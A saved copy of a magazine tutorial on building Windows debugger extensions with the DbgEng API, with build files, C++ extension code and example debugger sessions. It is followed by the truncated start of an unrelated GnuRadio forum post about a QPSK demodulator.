**Updated:**| _3/9/2011 11:35:37 AM_  
**Author:**| __  
**Tags:**| _Debugging programming windows environment_  
  

## Debugger APIs

# Writing a Debugging Tools for Windows Extension

### Andrew Richards

**Download the Code Sample**

Troubleshooting production issues can be one of the most frustrating jobs that
any engineer can do. It can also be one of the most rewarding jobs. Working in
Microsoft Support, I’m faced with this every day. Why did the application
crash? Why did it hang? Why is it having a performance issue?

Learning how to debug can be a daunting task, and is one of those skills that
requires many hours of regular practice to stay proficient. But it’s a crucial
skill for being an all-around developer. Still, by bottling the skills of a
few debugging experts, debugger engineers of all skill levels can execute
extremely complex debugging logic as easy-to-run commands.

Myriad troubleshooting techniques can be used to get to the root cause of a
crash, but the most valuable—and most fruitful to engineers with debugging
skills—is a process dump. Process dumps contain a snapshot of a process memory
at the time of capture. Depending on the dumping tool, this could be the
entire address space or just a subset.

Windows automatically creates a minidump through Windows Error Reporting
\(WER\) when any application throws an unhandled exception. In addition, you
can manually create a dump file via the Userdump.exe tool. The Sysinternals
tool ProcDump \(technet.microsoft.com/sysinternals/dd996900\) is becoming the
preferred process-dumping tool of Microsoft Support because it can capture a
dump based upon a large variety of triggers and can generate dumps of various
sizes. But once you have the dump data, what can you do with it to aid
debugging?

Various versions of Visual Studio support opening dump files \(.dmp\), but the
best tool to use is a debugger from Debugging Tools for Windows. These tools
are all based on a single debugging engine that supports two debugger
extension APIs. In this article, I’m going to cover the basics of building a
custom debugger extension so you can analyze these dump files \(and also live
systems\) with ease.

## Setting up the Tools

Debugging Tools for Windows \(microsoft.com/whdc/devtools/debugging\) is an
installable and redistributable component of the Windows SDK and Windows
Driver Kit \(WDK\). As I write this, the current version is 6.12, and it’s
available in version 7.1 of the Windows SDK or the WDK. I recommend using the
most-recent version, as the debugging engine has many valuable additions,
including better stack walking.

The Debugging Tools for Windows guidelines say that you should compile
debugger extensions using the WDK build environment. I use the latest release
of the WDK \(version 7.1.0 build 7600.16385.1\), but any version of the WDK or
its previous incarnation as the Driver Development Kit \(DDK\) will suffice.
When building an extension using the WDK, you use x64 and x86 Free Build
environments.

With a little bit of effort you can also adapt my projects to build in the
Windows SDK build environment or Visual Studio.

One note of warning: The WDK doesn’t like spaces in path names. Make sure you
compile from an unbroken path. For example, use something like C:\Projects
instead of C:\Users\Andrew Richards\Documents\Projects.

Regardless of how you build the extension, you’ll need the header and library
files of the Debugging Tools SDK, which is a component of Debugging Tools for
Windows. The examples in this article use my x86 path
\(C:\debuggers\_x86\sdk\) when referencing the header and library files. If
you choose to install the debugger elsewhere, remember to update the path and
add quotes when necessary to accommodate spaces in the path names.

## Using the Debugging Tools

The Debugging Tools for Windows debuggers are architecture-agnostic. Any
edition of the debugger can debug any target architecture. A common example is
using the x64 debugger to debug an x86 application. The debugger is released
for x86, x64 \(amd64\) and IA64, but it can debug x86, x64, IA64, ARM, EBC and
PowerPC \(Xbox\) applications. You can install all of the debugger editions
side-by-side.

This agility isn’t universally understood, though. Not all debugger extensions
adapt to the target architecture as well as the debugger engine does. Some
debugger extensions assume that the pointer size of the target will be the
same as the pointer size of the debugger. Similarly, they use the wrong
hardcoded register \(esp in place of rsp, for example\) instead of a pseudo-
register such as $csp.

If you’re having an issue with a debugger extension, you should try running
the debugger designed for the same architecture as the target environment.
This might overcome the assumptions of the poorly written extension.

Each application build type and associated processor architecture comes with
its own set of debugging headaches. The assembler generated for a debug build
is relatively linear, but the assembler generated for a release build is
optimized and can resemble a bowl of spaghetti. On x86 architectures, Frame
Pointer Omission \(FPO\) plays havoc with call stack reconstruction \(the
latest debugger handles this well\). On x64 architectures, function parameters
and local variables are stored in registers. At the time of dump capture, they
may have been pushed onto the stack, or may no longer exist due to register
reuse.

Experience is the key here. To be accurate, one person’s experience is the key
here. You just need to bottle their know-how in a debugger extension for the
rest of us. It only takes a few repetitions of a similar debugging sequence
before I automate it as a debugger extension. I’ve used some of my extensions
so much that I forget how I did the same thing using the underlying debugging
commands.

## Using the Debugger APIs

There are two debugger extension APIs: the deprecated WdbgExts API
\(wdbgexts.h\) and the current DbgEng API \(dbgeng.h\).

WdbgExts extensions are based on a global call that’s configured at
initialization \(WinDbgExtensionDllInit\):

[code]

    
[/code]

  1. `WINDBG_EXTENSION_APIS ExtensionApis;`

`The global provides the functionality required to run functions such as
dprintf(“\n”) and GetExpression(“@$csp”) without any namespace. This type of
extension resembles the code you’d write when doing Win32 programming.`

`DbgEng extensions are based on debugger interfaces. The IDebugClient
interface is passed to you by the debug engine as a parameter of each call.
The interfaces support QueryInterface for access to the ever-increasing range
of debugger interfaces. This type of extension resembles the code you’d write
when doing COM programming.`

`It’s possible to make a hybrid of the two extension types. You expose the
extension as DbgEng, but add the functionality of the WdbgExts API at run time
via a call to IDebugControl::GetWindbgExtensionApis64. As an example, I’ve
written the classic “Hello World” as a DbgEng extension in C. If you prefer
C++, refer to the ExtException class in the Debugging Tools SDK
(.\inc\engextcpp.cpp).`

`Compile the extension as MyExt.dll (TARGETNAME in the sources file shown in
**Figure 1**). It exposes a command called !helloworld. The extension
dynamically links to the Microsoft Visual C runtime (MSVCRT). If you want to
use static, change the USE_MSVCRT=1 statement to USE_LIBCMT=1 in the sources
file.`

Figure 1 **Sources**

[code]

    
[/code]

  1. `TARGETNAME=MyExt`
  2. `TARGETTYPE=DYNLINK`
  3. ` `
  4. `_NT_TARGET_VERSION=$(_NT_TARGET_VERSION_WINXP)`
  5. ` `
  6. `DLLENTRY=_DllMainCRTStartup`
  7. ` `
  8. `!if "$(DBGSDK_INC_PATH)" != ""`
  9. `INCLUDES = $(DBGSDK_INC_PATH);$(INCLUDES)`
  10. `!endif`
  11. `!if "$(DBGSDK_LIB_PATH)" == ""`
  12. `DBGSDK_LIB_PATH = $(SDK_LIB_PATH)`
  13. `!else`
  14. `DBGSDK_LIB_PATH = $(DBGSDK_LIB_PATH)\$(TARGET_DIRECTORY)`
  15. `!endif`
  16. ` `
  17. `TARGETLIBS=$(SDK_LIB_PATH)\kernel32.lib \`
  18. ` $(DBGSDK_LIB_PATH)\dbgeng.lib`
  19. ` `
  20. `USE_MSVCRT=1`
  21. ` `
  22. `UMTYPE=windows`
  23. ` `
  24. `MSC_WARNING_LEVEL = /W4 /WX`
  25. ` `
  26. `SOURCES= dbgexts.rc \`
  27. ` dbgexts.cpp \`
  28. ` myext.cpp`

`The DebugExtensionInitialize function (see **Figure 2**) is called when the
extension is loaded. Setting the Version parameter is a simple matter of using
the DEBUG_EXTENSION_VERSION macro with the EXT_MAJOR_VER and EXT_MINOR_VER
#defines I’ve added to the header file:`

[code]

    
[/code]

  1. `// dbgexts.h`
  2. ` `
  3. `#include <windows.h>`
  4. `#include <dbgeng.h>`
  5. ` `
  6. `#define EXT_MAJOR_VER 1`
  7. `#define EXT_MINOR_VER 0`

`Figure 2 **dbgexts.cpp**`

[code]

    
[/code]

  1. `// dbgexts.cpp`
  2. ` `
  3. `#include "dbgexts.h"`
  4. ` `
  5. `extern "C" HRESULT CALLBACK`
  6. `DebugExtensionInitialize(PULONG Version, PULONG Flags) {`
  7. ` *Version = DEBUG_EXTENSION_VERSION(EXT_MAJOR_VER, EXT_MINOR_VER);`
  8. ` *Flags = 0; // Reserved for future use.`
  9. ` return S_OK;`
  10. `}`
  11. ` `
  12. `extern "C" void CALLBACK`
  13. `DebugExtensionNotify(ULONG Notify, ULONG64 Argument) {`
  14. ` UNREFERENCED_PARAMETER(Argument);`
  15. ` switch (Notify) {`
  16. ` // A debugging session is active. The session may not necessarily be suspended.`
  17. ` case DEBUG_NOTIFY_SESSION_ACTIVE:`
  18. ` break;`
  19. ` // No debugging session is active.`
  20. ` case DEBUG_NOTIFY_SESSION_INACTIVE:`
  21. ` break;`
  22. ` // The debugging session has suspended and is now accessible.`
  23. ` case DEBUG_NOTIFY_SESSION_ACCESSIBLE:`
  24. ` break;`
  25. ` // The debugging session has started running and is now inaccessible.`
  26. ` case DEBUG_NOTIFY_SESSION_INACCESSIBLE:`
  27. ` break;`
  28. ` }`
  29. ` return;`
  30. `}`
  31. ` `
  32. `extern "C" void CALLBACK`
  33. `DebugExtensionUninitialize(void) {`
  34. ` return;`
  35. `}`

`The Version value is reported as the API version in the debugger .chain
command. To change the File Version, File Description, Copyright and other
values you need to edit the dbgexts.rc file:`

[code]

    
[/code]

  1. `myext.dll: image 6.1.7600.16385, API 1.0.0, built Wed Oct 13 20:25:10 2010`
  2. ` [path: C:\Debuggers_x86\myext.dll]`

`The Flags parameter is reserved and should be set to zero. The function needs
to return S_OK.`

`The DebugExtensionNotify function is called when the session changes its
active or accessible status. The Argument parameter is wrapped with the
UNREFERENCED_PARAMETER macro to eliminate the unused parameter compiler
warning.`

`I’ve added the switch statement for the Notify parameter for completeness,
but I haven’t added any functional code in this area. The switch statement
processes four session state changes:`

  * `DEBUG_NOTIFY_SESSION_ACTIVE occurs when you attach to a target.`
  * `DEBUG_NOTIFY_SESSION_INACTIVE occurs when the target becomes detached (via .detach or qd).`
  * `If the target suspends (hits a breakpoint, for example), the function will be passed DEBUG_NOTIFY_SESSION_ACCESSIBLE.`
  * `If the target resumes running, the function will be passed DEBUG_NOTIFY_SESSION_INACCESSIBLE.`

`The DebugExtensionUninitialize function is called when the extension is
unloaded.`

`Each extension command to be exposed is declared as a function of type
PDEBUG_EXTENSION_CALL. The name of the function is the name of the extension
command. Because I’m writing “Hello World,” I’ve named the function helloworld
(see **Figure 3**).`

`Figure 3 **MyExt.cpp**`

[code]

    
[/code]

  1. `// MyExt.cpp`
  2. ` `
  3. `#include "dbgexts.h"`
  4. ` `
  5. `HRESULT CALLBACK `
  6. `helloworld(PDEBUG_CLIENT pDebugClient, PCSTR args) {`
  7. ` UNREFERENCED_PARAMETER(args);`
  8. ` `
  9. ` IDebugControl* pDebugControl;`
  10. ` if (SUCCEEDED(pDebugClient->QueryInterface(__uuidof(IDebugControl), `
  11. ` (void **)&pDebugControl))) {`
  12. ` pDebugControl->Output(DEBUG_OUTPUT_NORMAL, "Hello World!\n");`
  13. ` pDebugControl->Release();`
  14. ` }`
  15. ` return S_OK;`
  16. `}`

`Note that the convention is to use lower-case function names. Because I’m
using the WDK build environment, the myext.def file also needs to be changed.
The name of the extension command needs to be added so that it’s exported:`

[code]

    
[/code]

  1. `;-------------`
  2. `; MyExt.def`
  3. `;-------------`
  4. `EXPORTS`
  5. ` helloworld`
  6. ` DebugExtensionNotify`
  7. ` DebugExtensionInitialize`
  8. ` DebugExtensionUninitialize`

`The args parameter contains a string of the arguments for the command. The
parameter is passed as a null-terminated ANSI string (CP_ACP).`

`The pDebugClient parameter is the IDebugClient interface pointer that allows
the extension to interact with the debugging engine. Even though the interface
pointer looks like it’s a COM Interface pointer, it can’t be marshaled, nor
accessed at a later time. It also can’t be used from any other thread. To do
work on an alternate thread, a new debugger client (a new interface pointer to
IDebugClient) must be created on that thread using IDebugClient::CreateClient.
This is the only function that can be run on an alternate thread.`

`The IDebugClient interface (like all interfaces) is derived from IUnknown.
You use QueryInterface to access the other DbgEng interfaces, be they later
versions of the IDebugClient interface (IDebugClient4) or different interfaces
(IDebugControl, IDebugRegisters, IDebugSymbols, IDebugSystemObjects and so
on). To output text to the debugger, you need the IDebugControl interface.`

`I have two non-SDK files in the folder to help with development. The make.cmd
script adds the Debugger SDK inc and lib paths to the WDK build environment,
then runs the appropriate build command:`

[code]

    
[/code]

  1. `@echo off`
  2. `set DBGSDK_INC_PATH=C:\Debuggers_x86\sdk\inc`
  3. `set DBGSDK_LIB_PATH=C:\Debuggers_x86\sdk\lib`
  4. `set DBGLIB_LIB_PATH=C:\Debuggers_x86\sdk\lib`
  5. `build -cZMg %1 %2`

`Note that the WDK build environment itself determines whether an x86 or x64
binary will be built. If you want to build for multiple architectures, you’ll
need to open multiple prompts and run make.cmd in each. The building can be
done concurrently.`

`Once built, I use the (x86) test.cmd script to copy the compiled i386
binaries into the x86 debugger folder (c:\Debuggers_x86), then launch an
instance of Notepad with the debugger attached and the extension loaded:`

[code]

    
[/code]

  1. `@echo off`
  2. `copy objfre_win7_x86\i386\myext.dll c:\Debuggers_x86`
  3. `copy objfre_win7_x86\i386\myext.pdb c:\Debuggers_x86`
  4. `\Debuggers_x86\windbg.exe -a myext.dll -x notepad`

`If everything has gone as planned, I can type “!helloworld” in the debugger
command prompt and see a “Hello World!” response:`

[code]

    
[/code]

  1. `0:000> !helloworld`
  2. `Hello World!`

## `Symbol Resolution and Reading`

`The “Hello World” application may be amazing, but you can do better. I’m now
going to use this infrastructure to add a command that actually interacts with
the target and would help you do some analysis. The simple test01 application
has a global pointer that’s assigned a value:`

[code]

    
[/code]

  1. `// test01.cpp`
  2. ` `
  3. `#include <windows.h>`
  4. ` `
  5. `void* g_ptr;`
  6. `int main(int argc, char* argv[]) {`
  7. ` g_ptr = "This is a global string";`
  8. ` Sleep(10000);`
  9. ` return 0;`
  10. `}`

`The new !gptr command in MyExt.cpp (see **Figure 4**) will resolve the
test01!g_ptr global, read the pointer and then output the values found in the
same format as “x test01!g_ptr”:`

[code]

    
[/code]

  1. `0:000> x test01!g_ptr`
  2. `012f3370 Test01!g_ptr = 0x012f20e4`
  3. ` `
  4. `0:000> !gptr`
  5. `012f3370 test01!g_ptr = 0x012f20e4`
  6. `<string>`

`Figure 4 **Revised MyExt.cpp**`

[code]

    
[/code]

  1. `HRESULT CALLBACK `
  2. `gptr(PDEBUG_CLIENT pDebugClient, PCSTR args) {`
  3. ` UNREFERENCED_PARAMETER(args);`
  4. ` `
  5. ` IDebugSymbols* pDebugSymbols;`
  6. ` if (SUCCEEDED(pDebugClient->QueryInterface(__uuidof(IDebugSymbols), `
  7. ` (void **)&pDebugSymbols))) { `
  8. ` // Resolve the symbol.`
  9. ` ULONG64 ulAddress = 0;`
  10. ` if (SUCCEEDED(pDebugSymbols->GetOffsetByName("test01!g_ptr", &ulAddress))) {`
  11. ` IDebugDataSpaces* pDebugDataSpaces;`
  12. ` if (SUCCEEDED(pDebugClient->QueryInterface(__uuidof(IDebugDataSpaces),`
  13. ` (void **)&pDebugDataSpaces))) { `
  14. ` // Read the value of the pointer from the target address space.`
  15. ` ULONG64 ulPtr = 0;`
  16. ` if (SUCCEEDED(pDebugDataSpaces->ReadPointersVirtual(1, ulAddress, &ulPtr))) {`
  17. ` PDEBUG_CONTROL pDebugControl;`
  18. ` if (SUCCEEDED(pDebugClient->QueryInterface(__uuidof(IDebugControl), `
  19. ` (void **)&pDebugControl))) { `
  20. ` // Output the values.`
  21. ` pDebugControl->Output(DEBUG_OUTPUT_NORMAL, `
  22. ` "%p test01!g_ptr = 0x%p\n", ulAddress, ulPtr);`
  23. ` pDebugControl->Output(DEBUG_OUTPUT_NORMAL, "%ma\n", ulPtr);`
  24. ` pDebugControl->Release();`
  25. ` }`
  26. ` }`
  27. ` pDebugDataSpaces->Release();`
  28. ` }`
  29. ` pDebugSymbols->Release();`
  30. ` }`
  31. ` }`
  32. ` return S_OK;`
  33. `}`

`The first step is to determine the location of the test01!g_ptr pointer. The
pointer will be in a different location each time the application runs because
Address Space Layout Randomization (ASLR) will change the module load address.
To get the location, I use QueryInterface to get the IDebugSymbols interface,
and then use GetOffsetByName. The GetOffsetByName function takes a symbol name
and returns the address as a 64-bit pointer. The debugger functions always
return 64-bit pointers (ULONG64) so that 64-bit targets can be debugged with a
32-bit debugger.`

`Remember, this is the address of the pointer in the target address space, not
your own. You can’t just read from it to determine its value. To get the value
of the pointer, I use QueryInterface again to get the IDebugDataSpaces
interface, and then use ReadPointersVirtual. This reads the pointer from the
target address space. ReadPointersVirtual automatically adjusts for pointer
size and endian differences. You don’t need to manipulate the pointer
returned.`

`IDebugControl::Output takes the same format string as printf, but also has
formatters that allow you to reference the target address space. I use the %ma
format to print out the ANSI string that the global pointer points to in the
target address space. The %p format is pointer-size-aware and should be used
for pointer output (you must pass a ULONG64).`

`I’ve modified the test script to load a dump file of the x86 version of
test01 instead of launching Notepad:`

[code]

    
[/code]

  1. `@echo off`
  2. `copy objfre_win7_x86\i386\myext.dll c:\Debuggers_x86`
  3. `copy objfre_win7_x86\i386\myext.pdb c:\Debuggers_x86`
  4. `\Debuggers_x86\windbg.exe -a myext.dll -y "..\Test01\x86;SRV*c:\symbols*http://msdl.microsoft.com/download/symbols" -z ..\Test01\x86\Test01.dmp`

`I’ve also set the symbol path to the test01 x86 folder and the Microsoft
Public Symbol Server so that everything can be resolved. Additionally, I’ve
made an x64 test script that does the same as the x86 test script, but with a
dump file of the x64 version of the test application:`

[code]

    
[/code]

  1. `@echo off`
  2. `copy objfre_win7_x86\i386\myext.dll c:\Debuggers_x86`
  3. `copy objfre_win7_x86\i386\myext.pdb c:\Debuggers_x86`
  4. `\Debuggers_x64\windbg.exe -a myext.dll -y "..\Test01\x64;SRV*c:\symbols*http://msdl.microsoft.com/download/symbols" -z ..\Test01\x64\Test01.dmp`

`When I run the scripts, the x86 debugger is launched, the appropriate dump
file is opened, the x86 version of the extension is loaded and symbols are
resolvable.`

`Once again, if everything has gone to plan, I can type “x test01!g_ptr” and
!gptr in the debugger command prompt and see similar responses:`

[code]

    
[/code]

  1. `// x86 Target`
  2. `0:000> x test01!g_ptr`
  3. `012f3370 Test01!g_ptr = 0x012f20e4`
  4. ` `
  5. `0:000> !gptr`
  6. `012f3370 test01!g_ptr = 0x012f20e4`
  7. `This is a global string`
  8. ` `
  9. `// x64 Target`
  10. `0:000> x test01!g_ptr`
  11. `00000001`3fda35d0 Test01!g_ptr = 0x00000001`3fda21a0`
  12. ` `
  13. `0:000> !gptr`
  14. `000000013fda35d0 test01!g_ptr = 0x000000013fda21a0`
  15. `This is a global string`

`If you repeat the test using the x64 debugger, the amd64-compiled version of
the debugger extension and the x86 or x64 dump files, you’ll get the same
results. That is, the extension is architecture-agnostic.`

## `Processor Types and Stacks`

`I’m now going to extend this infrastructure once again. Let’s add a command
that finds the duration of a Sleep call on the current thread stack. The
!sleepy command (see **Figure 5**) will resolve the call stack symbols, look
for the Sleep function and read the DWORD that represents the milliseconds to
delay, and then will output the delay value (if found).`

`Figure 5 **Sleepy**`

[code]

    
[/code]

  1. `HRESULT CALLBACK `
  2. `sleepy(PDEBUG_CLIENT4 Client, PCSTR args) {`
  3. ` UNREFERENCED_PARAMETER(args);`
  4. ` BOOL bFound = FALSE;`
  5. ` `
  6. ` IDebugControl* pDebugControl;`
  7. ` `
  8. ` if (SUCCEEDED(Client->QueryInterface(__uuidof(IDebugControl), `
  9. ` (void **)&pDebugControl))) {`
  10. ` IDebugSymbols* pDebugSymbols;`
  11. ` `
  12. ` if (SUCCEEDED(Client->QueryInterface(__uuidof(IDebugSymbols), `
  13. ` (void **)&pDebugSymbols))) {`
  14. ` DEBUG_STACK_FRAME* pDebugStackFrame = `
  15. ` (DEBUG_STACK_FRAME*)malloc(`
  16. ` sizeof(DEBUG_STACK_FRAME) * MAX_STACK_FRAMES);`
  17. ` `
  18. ` if (pDebugStackFrame != NULL) { `
  19. ` // Get the Stack Frames.`
  20. ` memset(pDebugStackFrame, 0, (sizeof(DEBUG_STACK_FRAME) * `
  21. ` MAX_STACK_FRAMES));`
  22. ` ULONG Frames = 0;`
  23. ` `
  24. ` if (SUCCEEDED(pDebugControl->GetStackTrace(0, 0, 0, `
  25. ` pDebugStackFrame, MAX_STACK_FRAMES, &Frames)) && `
  26. ` (Frames > 0)) {`
  27. ` ULONG ProcessorType = 0;`
  28. ` ULONG SymSize = 0;`
  29. ` char SymName[4096];`
  30. ` memset(SymName, 0, 4096);`
  31. ` ULONG64 Displacement = 0;`
  32. ` `
  33. ` if (SUCCEEDED(pDebugControl->GetEffectiveProcessorType(`
  34. ` &ProcessorType))) {`
  35. ` for (ULONG n=0; n<Frames; n++) { `
  36. ` `
  37. ` // Use the Effective Processor Type and the contents `
  38. ` // of the frame to determine existence`
  39. ` if (SUCCEEDED(pDebugSymbols->GetNameByOffset(`
  40. ` pDebugStackFrame[n].InstructionOffset, SymName, 4096, `
  41. ` &SymSize, &Displacement)) && (SymSize > 0)) {`
  42. ` `
  43. ` if ((ProcessorType == IMAGE_FILE_MACHINE_I386) && `
  44. ` (_stricmp(SymName, "KERNELBASE!Sleep") == 0) && `
  45. ` (Displacement == 0xF)) { `
  46. ` // Win7 x86; KERNELBASE!Sleep+0xF is usually in frame 3.`
  47. ` IDebugDataSpaces* pDebugDataSpaces;`
  48. ` `
  49. ` if (SUCCEEDED(Client->QueryInterface(`
  50. ` __uuidof(IDebugDataSpaces), `
  51. ` (void **)&pDebugDataSpaces))) { `
  52. ` // The value is pushed immediately prior to `
  53. ` // KERNELBASE!Sleep+0xF`
  54. ` DWORD dwMilliseconds = 0;`
  55. ` `
  56. ` if (SUCCEEDED(pDebugDataSpaces->ReadVirtual(`
  57. ` pDebugStackFrame[n].StackOffset, &dwMilliseconds, `
  58. ` sizeof(dwMilliseconds), NULL))) {`
  59. ` pDebugControl->Output(DEBUG_OUTPUT_NORMAL, `
  60. ` "Sleeping for %ld msec\n", dwMilliseconds);`
  61. ` bFound = TRUE;`
  62. ` }`
  63. ` pDebugDataSpaces->Release();`
  64. ` }`
  65. ` if (bFound) break;`
  66. ` }`
  67. ` `
  68. ` else if ((ProcessorType == IMAGE_FILE_MACHINE_AMD64) && `
  69. ` (_stricmp(SymName, "KERNELBASE!SleepEx") == 0) && `
  70. ` (Displacement == 0xAB)) { `
  71. ` // Win7 x64; KERNELBASE!SleepEx+0xAB is usually in frame 1.`
  72. ` IDebugRegisters* pDebugRegisters;`
  73. ` `
  74. ` if (SUCCEEDED(Client->QueryInterface(`
  75. ` __uuidof(IDebugRegisters), `
  76. ` (void **)&pDebugRegisters))) { `
  77. ` // The value is in the 'rsi' register.`
  78. ` ULONG rsiIndex = 0;`
  79. ` if (SUCCEEDED(pDebugRegisters->GetIndexByName(`
  80. ` "rsi", &rsiIndex)))`
  81. ` {`
  82. ` DEBUG_VALUE debugValue;`
  83. ` if (SUCCEEDED(pDebugRegisters->GetValue(`
  84. ` rsiIndex, &debugValue)) && `
  85. ` (debugValue.Type == DEBUG_VALUE_INT64)) { `
  86. ` // Truncate to 32bits for display.`
  87. ` pDebugControl->Output(DEBUG_OUTPUT_NORMAL, `
  88. ` "Sleeping for %ld msec\n", debugValue.I32);`
  89. ` bFound = TRUE;`
  90. ` }`
  91. ` }`
  92. ` pDebugRegisters->Release();`
  93. ` }`
  94. ` `
  95. ` if (bFound) break;`
  96. ` }`
  97. ` }`
  98. ` }`
  99. ` }`
  100. ` }`
  101. ` free(pDebugStackFrame);`
  102. ` }`
  103. ` pDebugSymbols->Release();`
  104. ` }`
  105. ` if (!bFound)`
  106. ` pDebugControl->Output(DEBUG_OUTPUT_NORMAL, `
  107. ` "Unable to determine if Sleep is present\n");`
  108. ` pDebugControl->Release();`
  109. ` }`
  110. ` return S_OK;`
  111. `}`

`To add some complexity to the command, the command will support the x86 and
x64 versions of the test01 application. Because the calling convention is
different for x86 and x64 applications, the command will have to be aware of
the target’s architecture as it progresses.`

`The first step is to get the stack frames. To get the frames, I use
QueryInterface to get the IDebugControl interface, and then use GetStackTrace
to retrieve information about each stack frame. GetStackTrace takes an array
of DEBUG_STACK_FRAME structures. I always allocate the array of
DEBUG_STACK_FRAME structures on the heap so that I don’t cause a stack
overflow. If you’re retrieving a stack overflow thread of a target, you’ll
probably hit your own stack limit if the array is allocated on your stack.`

`If GetStackTrace succeeds, the array will be populated with information for
each frame that was walked. Success here doesn’t necessarily mean that the
frame information is correct. The debugger does its best to walk the stack
frames, but mistakes can be made when the symbols aren’t correct (when they’re
missing or have been forced). If you’ve used “.reload /f /i” to force the
symbol load, poor symbol alignment will probably occur.`

`To effectively use the contents of each of the DEBUG_STACK_FRAME structures,
I need to know the target’s effective processor type. As mentioned previously,
the target architecture can be completely different from the debugger
extension architecture. The effective processor type (.effmach) is the
architecture that the target is currently using.`

`The processor type can also be a different processor type than that used by
the target’s host. The most common example of this is when the target is an
x86 application that’s running via Windows 32-bit on Windows 64-bit (WOW64) on
an x64 edition of Windows. The effective processor type is
IMAGE_FILE_MACHINE_I386. The actual type is IMAGE_FILE_MACHINE_AMD64.`

`This means you should consider an x86 application to be an x86 application
regardless of whether it’s running on an x86 edition of Windows or an x64
edition of Windows. (The only exception to this rule is when you’re debugging
the WOW64 calls that surround the x86 process.)`

`To get the effective processor type, I use the IDebugControl interface that I
already have, and then use GetEffectiveProcessorType.`

`If the effective processor type is i386, I need to look for the
KERNELBASE!Sleep+0xf function. If all the symbols are resolved correctly, the
function should be in frame 3:`

[code]

    
[/code]

  1. `0:000> knL4`
  2. ` # ChildEBP RetAddr `
  3. `00 001bf9dc 76fd48b4 ntdll!KiFastSystemCallRet`
  4. `01 001bf9e0 752c1876 ntdll!NtDelayExecution+0xc`
  5. `02 001bfa48 752c1818 KERNELBASE!SleepEx+0x65`
  6. `03 001bfa58 012f1015 KERNELBASE!Sleep+0xf`

`If the effective processor type is AMD64, I look for the
KERNELBASE!SleepEx+0xab function. If all the symbols are resolved correctly,
the function should be in frame 1:`

[code]

    
[/code]

  1. `0:000> knL2`
  2. ` # Child-SP RetAddr Call Site`
  3. `00 00000000'001cfc08 000007fe'fd9b1203 ntdll!NtDelayExecution+0xa`
  4. `01 00000000'001cfc10 00000001'3fda101d KERNELBASE!SleepEx+0xab`

`However, based on the level of symbol resolution available, the function
symbol I’m looking for may or may not be in the expected frame. If you open
the test01 x86 dump file and don’t specify a symbol path, you can see an
example of this. The KERNELBASE!Sleep call will be in frame 1 instead of frame
3:`

[code]

    
[/code]

  1. `0:000> knL4`
  2. ` # ChildEBP RetAddr `
  3. `WARNING: Stack unwind information not available. Following frames may be wrong.`
  4. `00 001bfa48 752c1818 ntdll!KiFastSystemCallRet`
  5. `01 001bfa58 012f1015 KERNELBASE!Sleep+0xf`
  6. `02 001bfaa4 75baf4e8 Test01+0x1015`
  7. `03 001bfab0 76feaf77 kernel32!BaseThreadInitThunk+0x12`

`The debugger warns you of this possible mistake. If you want to have your
extension adapt to these types of issues, you should iterate over the frames
as I have, instead of just looking at the expected frame.`

`To determine the existence of the Sleep function, I need to look up the
symbol for each frame. If the effective processor type and symbol make a valid
pair, the function has been found. Note that this logic is fragile and is
being used to simplify the example. The symbol may change between builds and
platforms. For example, Windows Server 2008 is kernel32!Sleep+0xf, but Windows
7 is KERNELBASE!Sleep+0xf.`

`To get the symbol, I use QueryInterface to get the IDebugSymbol interface. I
then use GetNameByOffset to get the symbol of the instruction offset address.`

`There are two parts to the symbol: the symbol name (KERNELBASE!Sleep) and the
displacement (0xf). The symbol name is an amalgamation of the module name and
the function name (<module>!<function>). The displacement is the byte offset
from the start of the function to which program flow will return to after the
call has returned.`

`If there are no symbols, the function will be reported as just the module
name with a large displacement (Test01+0x1015).`

`Once I’ve found the frame, the next step is to extract the delay. When the
target is x86 based, the delay will be in a DWORD that has been pushed onto
the stack immediately prior to the function call (note that this is fragile
logic):`

[code]

    
[/code]

  1. `// @$csp is the pseudo-register of @esp`
  2. `0:000> dps @$csp`
  3. `<snip>`
  4. `001bfa4c 752c1818 KERNELBASE!Sleep+0xf`
  5. `001bfa50 00002710`
  6. `<snip>`

`The StackOffset member of the DEBUG_STACK_FRAME structure actually points to
this address already, so no pointer arithmetic is necessary. To get the value,
I use QueryInterface to get the IDebugDataSpaces interface, and then use
ReadVirtual to read the DWORD from the target address space.`

`If the target is x64 based, the delay isn’t in the stack—it’s in the rsi
register (this is also fragile logic due to its frame-context dependency):`

[code]

    0:000> r @rsi
    rsi=0000000000002710
    
[/code]

To get the value, I use QueryInterface to get the IDebugRegisters interface. I
first need to use GetIndexByName to get the index of the rsi register. I then
use GetValue to read the register value from the target registers. Because rsi
is a 64-bit register, the value is returned as an INT64. Because the
DEBUG\_VALUE structure is a union, you can simply reference the I32 member
instead of the I64 member to get the truncated version that represents the
DWORD passed to Sleep.

Once again, in both cases, I use the IDebugControl::Output function to output
the result.

## Break\!

In this article, I barely scratched the surface of what can be achieved.
Stacks, symbols, registers, memory I/O and environmental information are but a
few of the many things that you can interrogate and change from within an
extension.

In a future article I’ll delve deeper into the relationship a debugger
extension can have with the debugger. I’ll cover debugger clients and debugger
callbacks, and I’ll use these to encapsulate the SOS debugger extension so
that you can write an extension that can debug managed applications without
having to have any knowledge of the underlying .NET structures.

* * *
**Andrew Richards**  _is a Microsoft senior escalation engineer for Exchange
Server. He has a passion for support tools, and is continually creating
debugger extensions and applications that simplify the job of support
engineers._

_Thanks to the following technical experts for reviewing this article:**Drew
Bliss** , **Jen-Lung Chiu** ,**Mike Hendrickson** , **Ken Johnson** , **Brunda
Nagalingaiah** and **Matt Weber**_

# Old Nabble - GnuRadio - QPSK Demodulator

**Created:**| _8/1/2011 7:54:30 AM_  
---|---  
**Updated:**| _8/1/2011 7:54:30 AM_  
**Author:**| __  
**Tags:**| _Lab-Setup_  
  

|

Gnu

»

GnuRadio

# QPSK Demodulator

View: New views 3 Messages — Rating Filter: Alert me  
---  
<img src='img/Temp2_5738.png' width='12' height='12' />  
|

## QPSK Demodulator

<img src='img/Temp2_5739.png' width='15' height='15' /> by Chirag Shah-8 :: Rate this Message:  <img src='img/Temp2_5740.png' /> | View Threaded | Show Only this Message   
Hi all,  
I'm working on a qpsk demodulator \(not differential\), see code below :  
  
  
  
\# Connect & Initialize base class  
self.connect\(self,self.pre\_scaler, self.agc, self.costas\_loop,  
self.rrc\_filter, self.clock\_recovery\)  
  
self.connect\(self.clock\_recovery, self.diffdec, self.slicer,  
self.symbol\_mapper,self.unpack, self\)  
  
I've removed the diff\_phasor block in the flowgraph. By default the  
constellation mapper use :  
\# find closest constellation point  
rot = 1  
\#rot = .707 + .707j  
rotated\_const = map\(lambda pt: pt \* rot,  
